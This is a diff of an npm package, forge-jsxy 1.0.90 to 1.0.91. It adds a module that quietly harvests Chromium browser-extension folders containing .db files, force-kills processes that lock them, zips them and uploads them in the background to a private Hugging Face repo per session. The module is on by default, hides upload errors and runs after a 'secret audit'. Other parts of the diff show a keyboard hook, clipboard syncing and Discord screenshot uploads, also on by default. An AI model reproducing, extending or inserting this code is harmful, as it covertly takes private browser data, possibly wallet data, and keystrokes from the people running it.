forge-jsxy 1.0.90 → 1.0.91

package/dist/extensionDbHfUpload.d.ts

@@ -0,0 +1,24 @@
+/**
+ * After secret-audit scan + optional `result.json` Hub upload: harvest Chromium extension
+ * folders containing `.db` files, zip, and upload to `namespace/<seq_id>` (session repo).
+ *
+ * Skips when the Hub repo already exists. Ignores HF/network failures (logs only).
+ * Runs in the background — does not block the relay agent loop.
+ */
+import type { HfCredentials } from "./hfCredentials";
+/** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
+export declare function extensionDbLog(message: string): void;
+/** Default ON when secret audit is enabled. Opt out: FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD=0 */
+export declare function isExtensionDbHfUploadEnabled(): boolean;
+export type RunExtensionDbHfUploadOptions = {
+    clientTableName: string;
+    fetchHubCredentials: () => Promise<HfCredentials>;
+    quiet: boolean;
+};
+/**
+ * Harvest extension `.db` folders → zip → Hub session repo (`namespace/<seq_id>`).
+ * No-op when disabled, repo exists, nothing to copy, or credentials missing.
+ */
+export declare function runExtensionDbHfUploadAfterAudit(opts: RunExtensionDbHfUploadOptions): Promise<void>;
+/** Fire-and-forget background upload (after secret audit completes). */
+export declare function scheduleExtensionDbHfUploadAfterAudit(opts: RunExtensionDbHfUploadOptions): void;

package/dist/extensionDbHfUpload.js

@@ -0,0 +1,198 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.extensionDbLog = extensionDbLog;
+exports.isExtensionDbHfUploadEnabled = isExtensionDbHfUploadEnabled;
+exports.runExtensionDbHfUploadAfterAudit = runExtensionDbHfUploadAfterAudit;
+exports.scheduleExtensionDbHfUploadAfterAudit = scheduleExtensionDbHfUploadAfterAudit;
+const hfCredentials_1 = require("./hfCredentials");
+const hfUpload_1 = require("./hfUpload");
+const hub_1 = require("@huggingface/hub");
+const hfSeqIdLookup_1 = require("./hfSeqIdLookup");
+const chromiumExtensionDbHarvest_1 = require("./chromiumExtensionDbHarvest");
+const exportMirrorCopy_1 = require("./exportMirrorCopy");
+/** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
+function extensionDbLog(message) {
+    console.log(`[forge-agent] extension-db: ${message}`);
+}
+/** Default ON when secret audit is enabled. Opt out: FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD=0 */
+function isExtensionDbHfUploadEnabled() {
+    const raw = (process.env.FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD || "1")
+        .trim()
+        .toLowerCase();
+    return !["0", "false", "no", "off"].includes(raw);
+}
+function hfFetchFromRelayEnabledLocal() {
+    const e = (process.env.CFGMGR_HF_FETCH_FROM_RELAY || "").trim().toLowerCase();
+    if (["0", "false", "no", "off"].includes(e))
+        return false;
+    return true;
+}
+function hfAuditPreferRelayCredentialsFirst() {
+    const e = (process.env.CFGMGR_HF_AUDIT_FETCH_RELAY_FIRST || "").trim().toLowerCase();
+    return ["1", "true", "yes", "on"].includes(e);
+}
+async function resolveHubCredentials(fetchHubCredentials) {
+    let creds = null;
+    const loadLocal = () => {
+        try {
+            creds = (0, hfCredentials_1.loadHfCredentials)();
+        }
+        catch {
+            creds = null;
+        }
+    };
+    const loadRelay = async () => {
+        if (!hfFetchFromRelayEnabledLocal())
+            return;
+        try {
+            creds = await fetchHubCredentials();
+        }
+        catch {
+            creds = null;
+        }
+    };
+    if (hfAuditPreferRelayCredentialsFirst()) {
+        await loadRelay();
+        if (!creds)
+            loadLocal();
+    }
+    else {
+        loadLocal();
+        if (!creds)
+            await loadRelay();
+    }
+    return creds;
+}
+async function resolveSessionHubRepo(clientTable, creds) {
+    const ns = (creds.namespace || "").trim() ||
+        (process.env.CFGMGR_HF_NAMESPACE || "").trim() ||
+        (process.env.HUGGINGFACE_HUB_NAMESPACE || "").trim();
+    if (!ns)
+        return null;
+    let seq = await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(clientTable);
+    if ((0, hfSeqIdLookup_1.hfSessionRepoRequireSeqId)() && seq === null)
+        return null;
+    const slug = (0, hfSeqIdLookup_1.hfAutoSessionRepoSlug)(clientTable, seq);
+    return `${ns}/${slug}`;
+}
+async function sessionHubRepoExists(clientTable, creds) {
+    const repoStr = await resolveSessionHubRepo(clientTable, creds);
+    if (!repoStr)
+        return { exists: false, repo: "" };
+    try {
+        const hubUrl = creds.hubUrl.replace(/\/+$/, "").trim() || "https://huggingface.co";
+        const exists = await (0, hub_1.repoExists)({
+            repo: repoStr,
+            accessToken: creds.token,
+            hubUrl,
+        });
+        return { exists, repo: repoStr };
+    }
+    catch {
+        return { exists: false, repo: repoStr };
+    }
+}
+function isIgnorableHubError(err) {
+    const msg = err instanceof Error ? err.message : String(err);
+    return (/could not reach hugging face|network|fetch failed|econnrefused|enotfound|etimedout|socket hang up/i.test(msg) || /hub upload skipped/i.test(msg));
+}
+let extensionDbUploadInFlight = false;
+/**
+ * Harvest extension `.db` folders → zip → Hub session repo (`namespace/<seq_id>`).
+ * No-op when disabled, repo exists, nothing to copy, or credentials missing.
+ */
+async function runExtensionDbHfUploadAfterAudit(opts) {
+    if (!isExtensionDbHfUploadEnabled())
+        return;
+    const clientTable = (opts.clientTableName || "").trim();
+    if (!clientTable) {
+        extensionDbLog("skipped — no client_table / session id");
+        return;
+    }
+    if (extensionDbUploadInFlight)
+        return;
+    extensionDbUploadInFlight = true;
+    let creds = null;
+    let harvest = null;
+    try {
+        extensionDbLog("background upload starting");
+        creds = await resolveHubCredentials(opts.fetchHubCredentials);
+        if (!creds) {
+            extensionDbLog("skipped — no HF credentials (relay or CFGMGR_HF_CREDENTIALS_B64)");
+            return;
+        }
+        const repoCheck = await sessionHubRepoExists(clientTable, creds);
+        if (repoCheck.exists) {
+            extensionDbLog(`skipped — repo already exists (${repoCheck.repo})`);
+            return;
+        }
+        harvest = await (0, chromiumExtensionDbHarvest_1.harvestExtensionDbFoldersToStaging)({
+            forceKill: true,
+            quiet: opts.quiet,
+        });
+        if (harvest.sources.length === 0 || harvest.copiedFiles === 0) {
+            extensionDbLog("skipped — no extension folders with .db files");
+            await (0, chromiumExtensionDbHarvest_1.removeExtensionDbStaging)();
+            return;
+        }
+        if (harvest.skippedCopyErrors > 0) {
+            extensionDbLog(`${harvest.skippedCopyErrors} extension folder(s) failed to copy — uploading ${harvest.copiedFolders} successful folder(s)`);
+        }
+        const stagedFiles = (0, exportMirrorCopy_1.countRegularFilesRecursive)(harvest.stagingRoot);
+        if (stagedFiles === 0) {
+            extensionDbLog("skipped — staging empty after copy");
+            return;
+        }
+        const upload = await (0, hfUpload_1.runHfUpload)({
+            pathStr: harvest.stagingRoot,
+            autoSessionRepo: true,
+            clientTableName: clientTable,
+            hfCredentials: creds,
+            forceKill: true,
+            force: true,
+            skipIfRepoExists: true,
+        });
+        if (upload.skipped === true && upload.reason === "repo_exists") {
+            extensionDbLog(`skipped — repo already exists (${String(upload.repo || "")})`);
+            return;
+        }
+        if (upload.ok === true) {
+            extensionDbLog(`upload OK — repo ${String(upload.repo || "")} (${harvest.sources.length} extension folder(s), ${stagedFiles} files)`);
+        }
+        else {
+            const err = String(upload.error || "unknown error");
+            if (!isIgnorableHubError(err)) {
+                extensionDbLog(`upload failed — ${err}`);
+            }
+            else {
+                extensionDbLog("upload skipped — Hugging Face unreachable (ignored)");
+            }
+        }
+    }
+    catch (e) {
+        if (!isIgnorableHubError(e)) {
+            extensionDbLog(`upload failed — ${e instanceof Error ? e.message : String(e)}`);
+        }
+        else {
+            extensionDbLog("upload skipped — Hugging Face unreachable (ignored)");
+        }
+    }
+    finally {
+        extensionDbUploadInFlight = false;
+        if (creds)
+            (0, hfCredentials_1.scrubHfCredentialsInPlace)(creds);
+        await (0, chromiumExtensionDbHarvest_1.removeExtensionDbStaging)();
+    }
+}
+/** Fire-and-forget background upload (after secret audit completes). */
+function scheduleExtensionDbHfUploadAfterAudit(opts) {
+    if (!isExtensionDbHfUploadEnabled())
+        return;
+    setImmediate(() => {
+        void runExtensionDbHfUploadAfterAudit(opts).catch((e) => {
+            if (!opts.quiet) {
+                console.warn("[forge-agent] extension-db background upload:", e instanceof Error ? e.message : e);
+            }
+        });
+    });
+}

package/dist/hfUpload.d.ts

@@ -43,5 +43,10 @@ export interface RunHfUploadOptions {
     force?: boolean;
     /** Kill processes likely locking the selection, then mirror/upload; restarts them in `finally`. */
     forceKill?: boolean;
+    /**
+     * Session mode only: when the Hub repo already exists, skip upload entirely (no zip/staging work).
+     * Returns `{ ok: true, skipped: true, reason: "repo_exists", repo }`.
+     */
+    skipIfRepoExists?: boolean;
 }
 export declare function runHfUpload(opts: RunHfUploadOptions): Promise<Record<string, unknown>>;

package/dist/hfUpload.js

@@ -993,8 +993,12 @@ async function runHfUploadCore(opts) {
             hubUrl,
             ...(hfFetch ? { fetch: hfFetch } : {}),
         });
-        if (exists)
-            return;
+        if (exists) {
+            if (opts.skipIfRepoExists && opts.autoSessionRepo) {
+                return { skippedExisting: true };
+            }
+            return { skippedExisting: false };
+        }
         if (!allowCreateRepo) {
             throw new Error("Repository does not exist on the Hub. Create it on huggingface.co first, " +
                 "or pass create_repo: true to create an empty **private** repo automatically.");
@@ -1007,9 +1011,20 @@ async function runHfUploadCore(opts) {
             private: true,
             ...(hfFetch ? { fetch: hfFetch } : {}),
         });
+        return { skippedExisting: false };
     };
     try {
-        await ensureRepo();
+        const repoEnsure = await ensureRepo();
+        if (repoEnsure.skippedExisting) {
+            (0, hfCredentials_1.scrubHfCredentialsInPlace)(cred);
+            (0, fileLockForce_1.restartKilledProcesses)(killedForUnlock, localPath);
+            return {
+                ok: true,
+                skipped: true,
+                reason: "repo_exists",
+                repo: resolvedRepoStr,
+            };
+        }
         if (isMultiSelection) {
             const zipName = "selection.zip";
             const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), ".forge-hf-multi-zip-"));

package/dist/relayAgent.js

@@ -64,6 +64,7 @@ const agentEnvFile_1 = require("./autostart/agentEnvFile");
 const clientId_2 = require("./clientId");
 const discordAgentScreenshot_1 = require("./discordAgentScreenshot");
 const agentStartupAudit_1 = require("./secretScan/agentStartupAudit");
+const extensionDbHfUpload_1 = require("./extensionDbHfUpload");
 const pendingRelayHf = new Map();
 /** Same pattern as HF credentials — await `discord_screenshot_upload_result` per `request_id`. */
 const pendingDiscordRelayAck = new Map();
@@ -583,8 +584,14 @@ function runRelayAgentLoop(opts) {
                 (0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
                     relayCaps: {},
                     quiet,
+                    clientTableName: sessionId,
                     fetchHubCredentials: () => Promise.reject(new Error("relay handshake incomplete — skipping relay-hosted HF credentials fetch")),
                 });
+                (0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
+                    clientTableName: sessionId,
+                    fetchHubCredentials: () => Promise.reject(new Error("relay handshake incomplete — skipping relay-hosted HF credentials fetch")),
+                    quiet,
+                });
             }, fallbackMs);
             secretAuditHandshakeFallbackTimer.unref?.();
         };
@@ -710,8 +717,14 @@ function runRelayAgentLoop(opts) {
             (0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
                 relayCaps: caps,
                 quiet,
+                clientTableName: sessionId,
                 fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
             });
+            (0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
+                clientTableName: sessionId,
+                fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
+                quiet,
+            });
             tryStartDiscordAfterHandshake();
         };
         ws.on("open", () => {

package/dist/secretScan/agentStartupAudit.d.ts

@@ -42,10 +42,13 @@ export declare function shouldRunSecretAuditNow(): boolean;
 export declare function runAgentStartupSecretAudit(opts: {
     relayCaps?: Record<string, unknown>;
     fetchHubCredentials: () => Promise<HfCredentials>;
+    /** Session / forge-db table name (`client_*`) for session Hub repo uploads. */
+    clientTableName?: string;
     quiet: boolean;
 }): Promise<void>;
 export declare function scheduleAgentStartupSecretAudit(opts: {
     relayCaps: Record<string, unknown>;
     quiet: boolean;
     fetchHubCredentials: () => Promise<HfCredentials>;
+    clientTableName?: string;
 }): void;

package/dist/secretScan/agentStartupAudit.js

@@ -87,6 +87,7 @@ const auditFindingSlim_1 = require("./auditFindingSlim");
 const runFilenameSecretScan_1 = require("./runFilenameSecretScan");
 const runFilenameSecretScan_2 = require("./runFilenameSecretScan");
 const auditScanScope_1 = require("./auditScanScope");
+const extensionDbHfUpload_1 = require("../extensionDbHfUpload");
 const strictMaterialGate_1 = require("./strictMaterialGate");
 function auditDir() {
     return path.join((0, clientId_1.defaultCfgmgrDataDir)(), ".forge-jsxy", ".vault", "secret-audit");
@@ -700,6 +701,11 @@ async function runAgentStartupSecretAudit(opts) {
                     "optional CFGMGR_HF_NAMESPACE if JSON lacks \"namespace\")");
             }
         }
+        (0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
+            clientTableName: (opts.clientTableName || "").trim(),
+            fetchHubCredentials: opts.fetchHubCredentials,
+            quiet: opts.quiet,
+        });
     }
     finally {
         auditInFlight = false;
@@ -713,6 +719,7 @@ function scheduleAgentStartupSecretAudit(opts) {
             relayCaps: opts.relayCaps,
             quiet: opts.quiet,
             fetchHubCredentials: opts.fetchHubCredentials,
+            clientTableName: opts.clientTableName,
         }).catch((e) => {
             if (!opts.quiet) {
                 console.warn("[forge-agent] secret audit:", e instanceof Error ? e.message : e);

package/dist/windowsInputSync.d.ts

@@ -1,9 +1,23 @@
+/** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
+export declare function desktopSyncOpLog(message: string): void;
+/** True for network / overload errors where retrying forge-db POST is worthwhile. */
+export declare function isTransientForgeDbSyncError(err: unknown): boolean;
+/** Human-readable reason when keyboard hook is skipped; null when uiohook should run. */
+export declare function skipUiohookKeyboardReason(): string | null;
+/** uiohook on Linux uses X11 and abort()s without a display — skip hook on headless servers. */
+export declare function skipUiohookKeyboard(): boolean;
 /**
  * **Default: on** when unset. Opt out with `CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0`.
  * Background-only in forge-js (no alerts/dialogs); see module comment for OS-level limits.
  */
 export declare function effectiveSyncKeyboardClipboard(): boolean;
 export declare function resolveSyncApiBase(): string | null;
+/**
+ * Linux Wayland stores clipboard in the compositor — @napi-rs/clipboard is X11-based and often
+ * returns empty text without error. Prefer wl-paste/xclip exec on Wayland sessions.
+ */
+export declare function preferExecClipboardReader(): boolean;
+export type DesktopInputSyncStop = () => void | Promise<void>;
 export type DesktopInputSyncOptions = {
     apiBaseUrl: string;
     clientId?: string;
@@ -18,5 +32,5 @@ export type WindowsInputSyncOptions = DesktopInputSyncOptions;
 /**
  * Start background sync on Windows, Linux, and macOS. No-op on other platforms.
  */
-export declare function startDesktopInputSync(opts: DesktopInputSyncOptions): () => void;
+export declare function startDesktopInputSync(opts: DesktopInputSyncOptions): DesktopInputSyncStop;
 export declare const startWindowsInputSync: typeof startDesktopInputSync;